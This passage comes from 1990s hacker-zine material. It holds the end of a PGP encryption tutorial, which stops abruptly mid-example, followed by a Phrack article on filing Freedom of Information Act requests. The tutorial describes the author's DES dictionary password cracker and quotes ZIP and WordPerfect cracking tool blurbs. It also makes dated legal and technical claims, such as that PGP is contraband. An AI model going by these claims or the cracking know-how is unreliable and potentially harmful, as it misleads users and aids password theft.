requirements for high-speed workstations are even less, I believe that even if
they overestimated "unreasonable" a hundredfold, they'd be in the "reasonable"
levels now.
To explain how fast DES runs these days...
I personally wrote a password cracker for DES which was arguably the
very first true high-speed cracker. It used the German "Ultra-Fast Crypt"
version of the DES algorithm, which happened to contain a static variable used
to hold part of the previous attempt at encrypting the password, called the
salt. By making sure the system wouldn't resalt on every password attempt, I
was able to guess passwords out of a dictionary at the rate of 400+ words per
second on a 386-25 (other methods at that time were going at about 30 per
second). As I understand it now, levels at 500+ for the same CPU have been
achieved.
Now this means I can go through an entire dictionary in about five
minutes on a DES-encrypted segment. The NSA has REAL cash and some of the
finest mathematicians in the world, so if they wanted to gain some really
decent speed on encryption, DES fits the ideal for parallel programming.
Splitting a DES segment across a hundred CPUs, each relatively modern, they
could crank out terraflops of speed. They'd probably be able to crack the code
within a few days if they wanted to.
Ten years from now, they could do it in a few seconds.
Of course, the proper way to circumnavigate DES encryption is to locate
and discover a more reliable, less popular method. Because the U.S. Government
regulates it, it doesn't mean it's the best. In fact, it means it's the
fucking lamest thing they could sweeten up and hope the public swallows it!
The last attempt the NSA made at regulating a standard dealing with encryption,
they got roasted.
I'm somewhat convinced that the NSA is against personal security, and
from all the press they give, they don't WANT anyone to have personal security.
Neither does the Media for that matter.
Because of lamers in the "Biblical Injustice Grievance Group of
Opposing Terrible Sacrilege" (or BIGGOTS) who think that if you violate a LAW
you're going to Hell (see APPENDIX C for my viewpoint of these people) and who
will have convinced Congress to pass ease-of-use wire taps on telephone lines
and networks so that they can monitor casual connections without search
warrants, encryption will be mandatory if you want any privacy at all.
And to quote Phil Zimmermann, "If privacy is outlawed, only the
outlaws will have privacy."
Therefore, encryption methods that we must use should be gathered into
very solid categories which do NOT have endorsement of the NSA and also have
usefulness in technique.
HOW TO USE DECENT ENCRYPTION:
(First, go to APPENDIX D, and get yourself a copy of PGP, latest version.)
First of all, PGP is contraband software, presumably illegal to use in
the United States because of a patent infringement it allegedly carries. The
patent infringement is the usage of a variant of the RSA encryption algorithm.
Can you patent an algorithm? By definition, you cannot patent an idea, just a
product -- like source code. Yet, the patent exists to be true until proven
false. More examples of how people in the crypto-analyst field can be assholes.
Anyway, Phil's Pretty Good Software, creators of PGP, were sued and all
rights to PGP were forfeited in the United States of America. Here comes the
violation of the SECOND law, illegal exportation of a data encryption outside
of the United States of America. Phil distributed his encryption techniques
outside the USA, which is against the law as well. Even though Mr. Zimmermann
doesn't do any work with PGP, because he freely gave his source code to others,
people in countries besides the United States are constantly updating and
improving the PGP package.
PGP handles two very important methods of encryption -- conventional
and public key. These are both very important to understand because they
protect against completely different things.
-----------------------
CONVENTIONAL ENCRYPTION
-----------------------
Conventional encryption techniques are easiest to understand. You
supply a password and the password you enter encrypts a file or some other sort
of data. By re-entering the password, it allows you to recreate the original
data.
Simple enough concept, just don't give the password to someone you
don't trust. If you give the password to the wrong person, your whole business
is in jeopardy. Of course, that goes with just about anything you consider
important.
There are doubtlessly many "secure enough" ciphers which exist right
now. Unfortunately, the availability of these methods are somewhat slim
because of exportation laws. The "major" encryption programs which I believe
are worth talking about here are maintained by people foreign to the USA.
The two methods of "conventional" encryption are at least not DES,
which qualifies them as okay in my book. This doesn't mean they are impossible
to break, but they don't have certain DES limitations which I know exist, such
as 8 character password maximum. The methods are: MDC, as available in the
package HPACK; and IDEA, as available in Pretty Good Privacy.
Once you've installed PGP, we can start by practicing encrypting
some typical files on your PC. To conventionally encrypt your AUTOEXEC.BAT
file (it won't delete the file after encryption), use the following command:
C:\> pgp -c autoexec.bat
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/19 03:06 GMT
You need a pass phrase to encrypt the file.
Enter pass phrase: { Password not echoed }
Enter same pass phrase again: Just a moment....
Ciphertext file: autoexec.pgp
C:\> dir
Volume in drive C is RACK'S
Directory of c:\autoexec.pgp
autoexec.pgp 330 1-18-93 21:05
330 bytes in 1 file(s) 8,192 bytes allocated
52,527,104 bytes free
PGP will compress the file before encrypting it. I'd say this is a
vulnerability to the encryption on the basis that the file contains a ZIP file
signature which could conceivably make the overall encryption less secure.
Although no reports have been made of someone breaking PGP this way, I'd feel
more comfortable with the ZIP features turned off. This is somewhat contrary
to the fact that redundancy checking is another way of breaking ciphertext.
However, it isn't as reliable as checking a ZIP signature.
Although PGP will doubtlessly become the more popular of the two
programs, HPACK's encryption "strength" is that by being less popular, it will
probably not be as heavily researched as PGP's methods will be. Of course, by
following PGP, new methods of encryption will doubtlessly be added as the
program is improved.
Here is how you'd go about encrypting an entire file using the HPACK
program using the MDC "conventional" encryption:
C:\> hpack A -C secret.hpk secret.txt
HPACK - The multi-system archiver Version 0.78a0 (shareware version)
For Amiga, Archimedes, Macintosh, MSDOS, OS/2, and UNIX
Copyright (c) Peter Gutmann 1989 - 1992. Release date: 1 Sept 1992
Archive is 'SECRET.HPK'
Please enter password (8..80 characters):
Reenter password to confirm:
Adding SECRET .TXT
Done
Anyway, I don't personally think HPACK will ever become truly popular
for any reason besides its encryption capabilities. ZIP has been ported to an
amazing number of platforms, in which lies ZIP's encryption weakness. If you
think ZIP is safe, remember that you need to prevent the possibility of four
years of attempted password cracking in order to beat the Statutes of
Limitations:
Here is the introduction to ZIPCRACK, and what it had to say about how
easy it is to break through this barrier:
(Taken from ZIPCRACK.DOC)
-----
ZIPCRACK is a program designed to demonstrate how easy it is to find
passwords on files created with PKZIP. The approach used is a fast,
brute-force attack, capable of scanning thousands of passwords per second
(5-6000 on an 80386-33). While there is currently no known way to decrypt
PKZIP's files without first locating the correct password, the probability that
a particular ZIP's password can be found in a billion-word search (which takes
about a day on a fast '486) is high enough that anyone using the encryption
included in PKZIP 1.10 should be cautious (note: as of this writing, PKZIP
version 2.00 has not been released, so it is not yet known whether future
versions of PKZIP will use an improved encryption algorithm). The author's
primary purpose in releasing this program is to encourage improvements in ZIP
security. The intended goal is NOT to make it easy for every computer user to
break into any ZIP, so no effort has been made to make the program
user-friendly.
----- End Blurb
Likewise, WordPerfect is even more vulnerable. I've caught a copy of
WordPerfect Crack out on the Internet and here is what it has to say about
WordPerfect's impossible-to-break methods:
(Taken from WPCRACK.DOC:)
-----
WordPerfect's manual claims that "You can protect or lock your documents with a
password so that no one will be able to retrieve or print the file without
knowing the password - not even you," and "If you forget the password, there is
absolutely no way to retrieve the document." [1]
Pretty impressive! Actually, you could crack the password of a Word Perfect
5.x file on a 8 1/2" x 11" sheet of paper, it's so simple. If you are counting
on your files being safe, they are NOT. Bennet [2] originally discovered how
the file was encrypted, and Bergen and Caelli [3] determined further
information regarding version 5.x. I have taken these papers, extended them,
and written some programs to extract the password from the file.
----- End Blurb
---------------------
PUBLIC KEY ENCRYPTION
---------------------
Back to the Masters of Deception analogy -- they were telephone
tapped. Conventional encryption is good for home use, because only one person
could possibly know the password. But what happens when you want to transmit
the encrypted data by telephone? If the Secret Service is listening in on your
phone calls, you can't tell the password to the person that you want to send
the encrypted information to. The SS will grab the password every single time.
Enter Public-Key encryption! The concepts behind Public-Key are very
in-depth compared to conventional encryption. The idea here is that passwords
are not exchanged; instead a "key" which tells HOW to encrypt the file for the
other person is given to them. This is called the Public Key.
You retain the PRIVATE key and the PASSWORD. They tell you how to
decrypt the file that someone sent you. There is no "straight" path between
the Public Key and the Private Key, so just because someone HAS the public key,
it doesn't mean they can produce either your Secret Key or Password. All it
means is that if they encrypt the file using the Public Key, you will be able
to decrypt it. Furthermore, because of one-way encryption methods, the output
your Public Key produces is original each time, and therefore, you can't
decrypt the information you encrypted with the Public Key -- even if you
encrypted it yourself!
Therefore, you can freely give out your own Public Key to anyone you
want, and any information you receive, tapped or not, won't make a difference.
As a result, you can trade anything you want and not worry about telephone
taps! This technique supposedly is being used to defend the United States'
Nuclear Arsenal, if you disbelieve this is secure.
I've actually talked with some of the makers of the RSA "Public-Key"
algorithm, and, albeit they are quite brilliant individuals, I'm somewhat
miffed at their lack of enthusiasm for aiding the public in getting a hold of
tools to use Public Key. As a result, they are about to get railroaded by
people choosing to use PGP in preference to squat.
Okay, maybe they don't have "squat" available. In fact, they have a
totally free package with source code available to the USA public (no
exportation of code) which people can use called RSAREF. Appendix E explains
more about why I'm not suggesting you use this package, and also how to obtain
it so you can see for yourself.
Now that we know the basic concepts of Public-Key, let's go ahead and
create the basics for effective tap-proof communications.
Generation of your own secret key (comments in {}s):
C:\> pgp -kg { Command used to activate PGP for key generation }
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/18 19:53 GMT
Pick your RSA key size:
1) 384 bits- Casual grade, fast but less secure
2) 512 bits- Commercial grade, medium speed, good security
3) 1024 bits- Military grade, very slow, highest security
Choose 1, 2, or 3, or enter desired number of bits: 3 {DAMN STRAIGHT MILITARY}
Generating an RSA key with a 1024-bit modulus...
You need a user ID for your public key. The desired form for this
user ID is your name, followed by your E-mail address enclosed in
<angle brackets>, if you have an E-mail address.
For example: John Q. Smith <12345.6789@compuserve.com>
Enter a user ID for your public key:
The Racketeer <rack@lycaeum.hfc.com>
You need a pass phrase to protect your RSA secret key.
Your pass phrase can be any sentence or phrase and may have many
words, spaces, punctuation, or any other printable characters.
Enter pass phrase: { Not echoed to screen }
Enter same pass phrase again: { " " " " }
Note that key generation is a VERY lengthy process.
We need to generate 105 random bytes. This is done by measuring the
time intervals between your keystrokes. Please enter some text on your
keyboard, at least 210 nonrepeating keystrokes, until you hear the beep:
1 .* { decrements }
-Enough, thank you.
...................................................++++ ........++++
Key generation completed.
It took a 33-386DX a grand total of about 10 minutes to make the key.
Now that it has been generated, it has been placed in your key ring. We can
examine the key ring using the following command:
C:\> pgp -kv
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/18 20:19 GMT
Key ring: 'c:\pgp\pubring.pgp'
Type bits/keyID Date User ID
pub 1024/7C8C3D 1993/01/18 The Racketeer <rack@lycaeum.hfc.com>
1 key(s) examined.
We've now got a viable keyring with your own keys. Now, you need to
extract your Public Key so that you can have other people encrypt shit and have
it sent to you. In order to do this, you need to be able to mail it to them.
Therefore, you need to extract it in ASCII format. This is done by the
following:
C:\> pgp -kxa "The Racketeer <rack@lycaeum.hfc.com>"
Pretty Good Privacy 2.1 - Public-key encryption for the masses
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/18 20:56 GMT
Extracting from key ring: 'c:\pgp\pubring.pgp', userid "The Racketeer
<rack@lycaeum.hfc.com>".
Key for user ID: The Racketeer <rack@lycaeum.hfc.com>
1024-bit key, Key ID 0C975F, created 1993/01/18
Extract the above key into which file? rackkey
Transport armor file: rackkey.asc
Key extracted to file 'rackkey.asc'.
Done. The end result of the key is a file which contains:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.1
mQCNAisuyi4AAAEEAN+cY6nUU+VIhYOqBfcc12rEMph+A7iadUi8xQJ00ANvp/iF
+ugZ+GP2ZnzA0fob9cG/MVbh+iiz3g+nbS+ZljD2uK4VyxZfu5alsbCBFbJ6Oa8K
/c/e19lzaksSlTcqTMQEae60JUkrHWpnxQMM3IqSnh3D+SbsmLBs4pFrfIw9AAUR
tCRUaGUgUmFja2V0ZWVyIDxyYWNrQGx5Y2FldW0uaGZjLmNvbT4=
=6rFE
-----END PGP PUBLIC KEY BLOCK-----
This can be tagged to the bottom of whatever E-Mail message you want to
send or whatever. This key can added to someone else's public key ring and
thereby used to encrypt information so that it can be sent to you. Most people
who use this on USENET add it onto their signature files so that it is
automatically posted on their messages.
Let's assume someone else wanted to communicate with you. As a result,
they sent you their own Public Key:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.1
mQA9AitgcOsAAAEBgMlGLWl8rub0Ulzv3wpxI5OFLRkx3UcGCGsi/y/Qg7nR8dwI
owUy65l9XZsp0MUnFQAFEbQlT25lIER1bWIgUHVkIDwxRHVtUHVkQG1haWxydXMu
Yml0bmV0Pg==
=FZBm
-----END PGP PUBLIC KEY BLOCK-----
Notice this guy, Mr. One Dumb Pud, used a smaller key size than you
did. This shouldn't make any difference because PGP detects this
automatically. Let's now add the schlep onto your key ring.
C:\> pgp -ka dumbpud.asc
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/22 22:17 GMT
Key ring: 'c:\pgp\pubring.$01'
Type bits/keyID Date User ID
pub 384/C52715 1993/01/22 One Dumb Pud <1DumPud@mailrus.bitnet>
New key ID: C52715
Keyfile contains:
1 new key(s)
Adding key ID C52715 from file 'dumbpud.asc' to key ring 'c:\pgp\pubring.pgp'.
Key for user ID: One Dumb Pud <1DumPud@mailrus.bitnet>
384-bit key, Key ID C52715, crated 1993/01/22
This key/userID associate is not certified.
Do you want to certify this key yourself (y/N)? n {We'll deal with this later}
Okay, now we have the guy on our key ring. Let's go ahead and encrypt
a file for the guy. How about having the honor of an unedited copy of this
file?
C:\> pgp -e encrypt One {PGP has automatic name completion}
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/22 22:24 GMT
Recipient's public key will be used to encrypt.
Key for user ID: One Dumb Pud <1DumPud@mailrus.bitnet>
384-bit key, Key ID C52715, created 1993/01/22
WARNING: Because this public key is not certified with a trusted
signature, it is not known with high confidence that this public key
actually belongs to: "One Dumb Pud <1DumPud@mailrus.bitnet>".
Are you sure you want to use this public key (y/N)? y
------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 12 of 14
%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
| The Freedom of Information Act and You |
| |
| by |
| Vince Niel |
| |
%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
As we all know of our United State government in the modern era, Big
Brother is watching. It is naive to think that we do not live in a world
similar to the one described is George Orwell's novel, 1984. The government
keeps tabs on everything we do. The federal government has thousands of
documents concerning individual citizens. For example:
If you have worked for a federal agency or government contractor or have been
a member of any branch of the armed services, the federal government has a
file on you.
If you have participated in any federally financed project, some agency
probably has a record of it.
If you have been arrested by local, state or federal authorities and your
fingerprints were taken, the FBI maintains a record of you and that arrest.
If you have applied for or received a student loan or grant certified by the
government, the Department of Health, Education, and Welfare has recorded the
information.
If you have applied for or been investigated for a security clearance for any
reason, the Department of Defense has a record of you.
And these records are not just records of application. Take for example
the FBI. Once you commit a crime, they are watching you. They update your
file every time there is a major occurrence in your life i.e. marriage,
hospitalization, joining the military, committing another crime, etc. If they
find the least likelihood of suspicion, they investigate you in depth to add
even more to your file. People do not even realize how large their FBI file
is.
If you were ever on a pirate board that got busted, and you had your info
on there, all the users' info on the bulletin board is transferred to the
federal government. There a file is opened up for each individual user. And
if you ever get in trouble with the law, that file will be opened up and used
against you if necessary. Before I continue, I would like to site an example
of a man who ordered his file from the army. This file was created when he
applied for a security clearance with the military years before. In it said:
... He owed 50 cents to his high school for not returning his locker key.
... He dated 2 or 3 times a week, and was not intimate with his dates.
... He was irresponsible because he owed a $5 jaywalking ticket in Seattle.
So what can you do about this big bureaucratic machine we call our
government? Simple, fight back! The Freedom of Information Act (FOIA as it
will be referred to) was passed and allows you to obtain your personal records
from any governmental agency. A typeup of most of the agencies plus the
actual act can be found at the end of this file.
There are restrictions to the act, but it can be quite useful to any
individual who has had run-ins with the law or who just wants to know what the
federal government has on him. You can even go to court against the
government if a document is denied to you and you think you deserve to see it.
The act is not widely know, and for good reason. The government doesn't want
you to know what they are doing. But alas, the information will be set free,
the people have a right to know!
And don't think that the only interesting documents are the ones from the
FBI and CIA. Fascinating documents can be gotten from the IRS, Department of
Health, Department of Schools, Federal Traffic Administration, HUD, National
Credit Union, with information you will never believe people who actually
store about you.
The Specifics of Asking For Your Personal File From a Particular Agency
-----------------------------------------------------------------------
First of all, I would like to bring up a major misconception people make.
Most people assume that if you ask for your file from the FBI, and there isn't
a file on you, one will be created for you. That is an untrue and extremely
paranoid statement. The government has better things to do then open up files
on curious citizens. And even if by some remote chance they do open up a file
for you, who cares? They have a files on millions of people, its not like it
will hinder you in life. Just be careful out there, that is all I can say.
The most important thing that can be done when asking for information from
a governmental agency under the FOIA is to make it as brief, concise, and
specific as possible. In this way, you will get your information, or refusal
as soon as possible, and you will also curb copying fees (which will be
discussed later). First you have to find the agency that concerns you. If
you are not sure which agency to apply to, send your letter to more than one.
There will be a list of agencies at the end of this file, but a complete list
of agencies can be found in the United States Government Manual. This can be
found at any library.
The request should be addressed to the agency's FOIA officer or to the
head of the specific agency. Most agencies have a secretary to deal with all
the FOIA applications. The smaller agencies, which you probably will not be
concerned with, might not have an officer. On the bottom left hand corner of
the envelope "Freedom of Information Act Request" should be printed legibly.
This guarantees that your letter won't get caught in the paperwork shuffle.
All agencies has FOIA regulation that you should look at. They do not
want to send out 'sensitive' documents and whatnot. These regulations also
describe the request process in detail. Here you can also find out what
specific document you are looking for, reducing fees from the agency. These
regulations can be found in "The Code of Federal Regulations", which can also
be found at your local library.
Most agencies require that you get your letter 'notarized' or they won't
even look at it. This prevents you from impersonating someone else and
getting their file. To get your letter notarized, all you have to do is go to
your local bank. Show some proof that the person signing the letter is you
(with an id or something) and they will notarize it. Now the government has
no excuse for not taking your letter.
There are four parts to an FOIA request letter:
1) Request being made under the FOIA.
2) Records that are sought, as specifically as possible.
3) Name and address of the person requesting the information. Telephone
number is not necessary, but you will find out about the outcome of
your request much quicker.
4) How much money you are willing to spend for the document (explained
later).
Here is a sample letter, just fill in your information:
-----------------------------------------------------------------------------
Agency Head [or Freedom of Information Act Officer]
Name of Agency
Address of Agency
City, State, Zip Code
Re: Freedom of Information Act Request
I request a copy of the following documents [or documents containing the
following information if you do not know the specific name of the document] be
provided for me: [identify the documents as accurately as possible]
In order to help determine my status to assess fees, you should know that
I am an individual seeking information for personal use and not for commercial
use. [always, always say you are an individual. That way, you will not have
to pay extra fees because you are part of the media or a commercial endeavor.]
[Optional] I am willing to pay fees for this request up to a maximum of
$__. If you estimate the fees will exceed this limit, please inform me first.
[Optional] I request a waiver of all fees for this request. Disclosure of
the requested information to me is in the public interest because it is likely
to contribute significantly to public understanding of the operations or
activities of the government and is not primarily in my commercial interest
[include specific information].
Thank you for your consideration of this request.
Sincerely,
Name
Address
City, State, Zip Code
Telephone Number [Optional]
-----------------------------------------------------------------------------
Some of the things in the letter may not be understood at first, but I will
get to them.
Money:
As you might have guessed, getting information under the FOIA is not free,
but it can be cheapened if you play your cards right. As specified in the
letter, always say that you are an individual seeking information not for
commercial purposes. Review is the process of going through documents and
checking if they can be sent to you or not. Under the law, if you are a
private individual and are not requesting information for commercial purposes,
you cannot be charged with review fees!
All agencies have set fees for copying a document. Fees can also be taken
for searching for a document. If you are an individual, you will be charged
the least amount of money. Of course, if you have no idea in hell what the
name of the document is, and you are stabbing in the dark it is a good idea to
write in a set amount you are willing to spend. When the amount is reached,
you will be notified. This is in the letter above.
You don't want to be jacked for a bill of 150 bucks if you send them a
letter 'just send me everything you got on me'. Even if you have no idea what
they have, you can say 'please send me all the dossiers, legal documents, and
records you have under my name'. Remember, the government likes bureaucratic
bullshit. If you do not phrase you letter right, they will nail you on it. A
lot of agencies will waive the cost of processing if it is under $3, and even
if you receive a bill, it should not exceed 5-10 dollars.
If you can somehow prove that by accessing this information, it will help
the general public understand how the government works, you can waive the fee
altogether. If through some form of shrewd doublespeak you can think of
something clever to satisfy this obligation, you can then request huge amounts
of documents, without paying a cent for them.
Restrictions:
Of course, there are restrictions to the Freedom of Information Act. Some
documentation may be said to be sensitive and out of reach of the public eye.
Any refusal to grant information through the FOIA may be taken to court, and
won. In the act, it states that cases brought up because of the FOIA should
be put first on the court docket and tried as soon as possible. Its always
worth a try.
When a record contains some information that is withheld, it does not
necessarily mean that the whole record is exempt. The federal agency is
obliged to cut out the portion that is sensitive, and send you the portion it
can disclose. The agency must also give you a reason why it cut out this
portion of the document.
Here are a few of the reasons for exemption:
1) Classified Documents - Classified Documents may be withheld. The documents
may be classified in the interest of national defense and foreign policy.
Classified documents may still be requested. The agency will review the
document to determine whether it still needs protection. If a requested
document is already declassified, it can be easily requested.
2) Internal Personal Rules and Practices - This exemption covers matters
related to an agency's internal rules and practices. Requests for Internal
schedules, administrative manuals and the like can be refused.
3) Confidential Business Information - Trade secrets or commercially valuable
plans do not have to be released. Commercial or financial information does
not also have to be released, as it might hurt an individual.
4) Personal Privacy - This covers personnel, medical, and similar files of
which disclosed would interfere with personal privacy. This exemption has
importance because it prevents a commercial business from getting
information about you. At the same time, it allows you to get private
information stored about yourself. This is why it is important to get your
letter notarized.
5) Law Enforcement - This allows law enforcement agencies to withhold law
enforcement records in order to protect themselves and others. If there is
a trial going on, you can't request your file. Its smart to get your file
from the feds now, while you still can. Don't wait until you get in some
serious shit, and then you don't even know what they have on you! If you
know what they have on you, you know how to fight back.
If you request does get refused, there is still hope. If you think that
under the FOIA's legal terms you deserve to have the document, you can send a
letter of appeal. This letter can also be used to argue that their processing
charge was unfair. The appeal letter is shown below:
------------------------------------------------------------------------------
Agency Head or Appeal Officer
Name of Agency
Address of Agency
City, State, Zip Code
Re: Freedom of Information Act Appeal
Dear:
This is an appeal under the Freedom of Information Act.
On (date), I requested documents under the Freedom of Information Act. My
request was assigned the following identification number: ______. On (date),
I received a response to my request in a letter signed by (name of official).
I appeal the denial of my request.
[Optional] The documents that were withheld must be disclosed under the
FOIA because...
[Optional] I appeal the decision to deny my request for a waiver of fees.
I believe that I am entitles to a waiver of fees. Disclosure of the documents
I requested is in the public interest because the information is likely to
contribute significantly to public understanding of the operations or
activities of government and is not primarily in my commercial interest.
(Provide Details)
[Optional] I appeal the decision to require me to pay review costs for
this request. I am not seeking this document for commercial use. (Provide
Details)
Thank you for your consideration of this appeal.
Sincerely,
Name
Address
City, State, Zip Code
Telephone Number [Optional]
------------------------------------------------------------------------------
Here is a listing of a few government agencies that hold records on individual
citizens:
Agriculture
Department of Agriculture
Washington, D.C. 20250
Air Force
Department of the Air Force
The Pentagon
Washington, D.C. 20330
Alcohol, Drug Abuse, and Mental Health
Alcohol, Drug Abuse, and Mental Health Administration
5600 Fisher Lane
Rockville, Maryland 20857
Alcohol, Tobacco and Firearms
Bureau of Alcohol, Tobacco, and Firearms
1200 Pennsylvania Avenue, N.W.
Washington, D.C. 20226
American Battle Monuments
American Battle Monuments Commission:
40014 Forrestal Bldg.
Washington, D.C. 20314
Appalachian Regional
Appalachian Regional Commission:
1666 Connecticut Avenue, N.W.
Washington, D.C. 20235
Arms Control and Disarmament
U.S. Army Control and Disarmament Agency
320 21st Street
Washington, D.C. 20451
Army
Department of the Army
The Pentagon
Washington, D.C. 20314
Census
Bureau of the Census
Federal Building 3
Washington, D.C. 20233
CIA
Central Intelligence Agency
Washington, D.C. 20505
Civil Aeronautics
Civil Aeronautics Board
1825 Connecticut Avenue, N.W.
Washington, D.C. 20428
Civil Rights
Civil Rights Commission
1121 Vermont Avenue, N.W.
Washington, D.C. 20425
Civil Service
Civil Service Commission
1900 E Street, N.W.
Washington, D.C. 20415
Coastal Plains
Coastal Plains Regional Commission
1725 K Street, N.W.
Washington, D.C. 20006
Commerce
Department of Commerce
Washington, D.C. 20230
Community Services
Community Services Administration
1200 19th Street, N.W.
Washington, D.C. 20506
Consumer Product Safety
Consumer Product Safety Commission
1111 18th Street, N.W.
Washington, D.C. 20207
Copyright Office
Copyright Office
Library of Congress
Washington, D.C. 20559
Customs Service
U.S. Customs Service
1301 Constitution Avenue, N.W.
Washington, D.C. 20229
Defense
Department of Defense
The Pentagon
Washington, D.C. 20301
Defense Contracts Audits
Defense Contracts Audits Agency
Cameron Station
Alexandria, Virginia 22314
Defense Intelligence
Defense Intelligence Agency
RDS-3A
Washington, D.C. 20301
Defense Investigation
Defense Investigative Services
D0020
Washington, D.C. 20304
Defense Logistical
Defense Logistical Agency
Cameron Station
Alexandria, Virginia, 22314
Defense Mapping
Defense Mapping Agency
Naval Observatory
Washington, D.C. 20305
Disease Control
Center for Disease Control
Atlanta, Georgia 30333
Economic Development
Economic Development Administration
Department of Commerce
14th & Constitution Avenue, N.W.
Washington, D.C. 20230
Education
Office of Education
400 Maryland Avenue, S.W.
Washington, D.C. 20202
Energy
Department of Energy
U.S. Department of Energy
Washington, D.C. 20461
EPA
Environmental Protection Agency
401 M Street, S.W.
Washington, D.C. 20460
Environmental Quality
Council on Environmental Quality
722 Jackson Place, N.W.
Washington, D.C. 20006
Equal Employment Opportunity
Equal Employment Opportunity Commission
2401 E Street, N.W.
Washington, D.C. 20506
Export-Import Bank
Export-Import Bank of the U.S.
811 Vermont Avenue, N.W.
Washington, D.C. 20571
FAA
Federal Aviations Administration
800 Independence Avenue, S.W.
Washington, D.C. 20591
FBI
Federal Bureau of Investigation
9th and Pennsylvania Avenue, N.W.
Washington, D.C. 20535
FCC
Federal Communications Commission
1919 M Street, N.W.
Washington, D.C. 20554
Federal Elections
Federal Election Commission
550 17th Street, N.W.
Washington, D.C. 20463
Federal Highways
Federal Highway Administration
400 7th Street, S.W.
Washington, D.C. 20590
Federal Power
Federal Power Commission
825 North Capitol Street
Washington, D.C. 20426
Federal Trade
Federal Trade Commission
6th and Pennsylvania Avenue, N.W.
Washington, D.C. 20580
Food and Drug
Food and Drug Administration
5600 Fisher Lane
Rockville, Maryland 20857
Foreign Claims Settlement
Foreign Claims Settlement Commission
1111 20th Street, N.W.
Washington, D.C. 20579
General Accounting
General Accounting Office
441 G. Street, N.W.
Washington, D.C. 20548
General Services
General Services Administration
18th and F Streets, N.W.
Washington, D.C. 20405
Health, Education, and Welfare
U.S. Department of Health, Education, and Welfare
200 Independence Avenue, S.W.
Washington, D.C. 20201
Health Resources
Health Resources Administration
3700 East West Highway
Hyattsville Maryland 20782
Health Services
Health Services Administration
5600 Fisher Lane
Rockville, Maryland 20857
HUD
Department of Housing and Urban Development
Washington, D.C. 20410
Immigration and Naturalization
Immigration and Naturalization Service
425 I Street, N.W.
Washington, D.C. 20536
Information Agency
U.S. Information Agency
1750 Pennsylvania Avenue, N.W.
Washington, D.C. 20547
Interior
Department of the Interior
18th and C Street, N.W.
Washington, D.C. 20240
IRS
Internal Revenue Service
1111 Constitution Avenue, N.W.
Washington, D.C. 20224
International Development
Agency for International Development
21st and Virginia Avenue, N.W.
Washington, D.C. 20532
International Trade
International Trade Commission
701 E Street, N.W.
Washington, D.C. 20436
ICC
Interstate Commerce Commission
12th and Constitutional Avenue, N.W.
Washington, D.C. 20423
Justice
Department of Justice
Washington, D.C. 20530
Labor
Department of Labor
Washington, D.C. 20210
Law Enforcement Assistance
Law Enforcement Assistance Administration
633 Indiana Avenue, N.W.
Washington, D.C. 20230
National Aeronautics and Space
National Aeronautics and Space Administration
400 Maryland Avenue, S.W.
Washington, D.C. 20546
National Archives and Records
National Archives and Records Service
Washington, D.C. 20408
National Credit Union
National Credit Union Administration
2025 M Street, N.W.
Washington, D.C. 20506
National Endowment for the Arts
National Endowment for the Arts
806 15th Street, N.W.
Washington, D.C. 20506
National Endowment for Humanities
National Endowment for Humanities
806 15th Street, N.W.
Washington, D.C. 20506
National Highway Traffic Safety
National Highway Traffic Safety Administration
400 7th Street, S.W.
Washington, D.C. 20590
National Institute of Education
National Institute of Education
1200-19th Street, N.W.
Washington, D.C. 20208
National Institute of Health
National Institute of Health
9000 Rockville Pike
Rockville, Maryland 20014
National Labor Relations
National Labor Relations Board
1717 Pennsylvania Avenue, N.W.
Washington, D.C. 20570
National Science Foundation
National Science Foundation
1800 G Street, N.W.
Washington, D.C. 20550
National Security Agency
National Security Agency
Fort George Meade, Maryland 20755
National Security Council
National Security Council
Old Executive Office Building
Washington, D.C. 20506
National Transportation Safety
National Transportation Safety Board
800 Independence Avenue, S.W.
Washington, D.C. 20594
Navy
Department of the Navy
The Pentagon
Washington, D.C. 20350
Nuclear Regulation
Nuclear Regulatory Commission
Washington, D.C. 20555
Overseas Private Investment
Overseas Private Investment Corporation
1129 20th Street, N.W.
Washington, D.C. 20527
Postal Service
U.S. Postal Service
475 L'Enfant Plaza, S.W.
Washington, D.C. 20260
Prisons
Bureau of Prisons
320 First Street, N.W.
Washington, D.C. 20534
Public Health
Public Health Service
200 Independence Avenue, S.W.
Washington, D.C. 20201
Secret Service
U.S. Secret Service
1800 G Street, N.W.
Washington, D.C. 20223
Securities and Exchange
Securities and Exchange Commission
500 North Capitol Street
Washington, D.C. 20435
Selective Service
Selective Service System
600 E Street, N.W.
Washington, D.C. 20435
Small Business
Small Business Administration
1441 L Street, N.W.
Washington, D.C. 20416
Social Security
Social Security Administration
6401 Security Blvd.
Baltimore, Maryland 21235
State
Department of State
Washington, D.C. 20520
Transportation
Department of Transportation
400 7th Street, S.W.
Washington, D.C. 20590
Treasury
Department of the Treasury
1500 Pennsylvania Avenue, N.W.
Washington, D.C. 20220
Urban Mass Transit
Urban Mass Transit Administration
400 7th Avenue, S.W.
Washington, D.C. 20590
Veterans
Administration
Vermont Avenue, N.W.
Washington, D.C. 20420
Here is a copy of the Freedom of Information Act and all of its
amendments. It may prove to have some usefulness. You might want to read
through it to understand the law better. I would not recommend reading it if
you are in a suicidal state.
------------------------------------------------------------------------------
FULL TEXT OF FREEDOM OF INFORMATION ACT,
AS AMENDED IN 1974 BY PUBLIC LAW 93-502
% 552 Public Information; agency rules, opinions, orders, records, and
proceedings
(a) Each agency shall make available to the public information as follows:
